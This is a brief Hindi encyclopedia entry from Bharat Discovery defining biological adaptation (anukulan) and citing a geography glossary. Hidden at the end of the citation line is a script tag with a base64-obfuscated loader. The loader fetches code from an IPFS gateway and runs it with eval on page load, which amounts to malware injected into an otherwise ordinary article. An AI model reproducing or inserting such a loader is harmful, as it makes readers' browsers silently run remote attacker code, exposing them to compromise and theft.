अनुकूलन
भारत डिस्कवरी प्रस्तुति
जैविकीय अर्थ में किसी जीव की अपने पर्यावरण के साथ समायोजन करने की प्रक्रिया को ही अनुकूलन कहा जाता है।
- अनुकूलन की प्रक्रिया में परिवर्तित पर्यावरण की आवश्यकताओं के अनुसार जीव की क्रियाओं में परिष्क्रमण सम्भव है। इसके अतिरिक्त जीव में भी प्रजनन सम्बंधी परिवर्तन हो सकते हैं, जो उसकी नस्ल के लिए आवश्यक हों।[1]
- जैविकीय समायोजन एक ऐसी प्रक्रिया है, जिसमें पैतृकता द्वारा हस्तांतरित परिष्करण करके समायोजन होता है।
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टीका टिप्पणी और संदर्भ
- ↑ भौगोलिक शब्दावली |लेखक: आर. पी. चतुर्वेदी |प्रकाशक: रावत पब्लिकिशन, जयपुर व नई दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 6 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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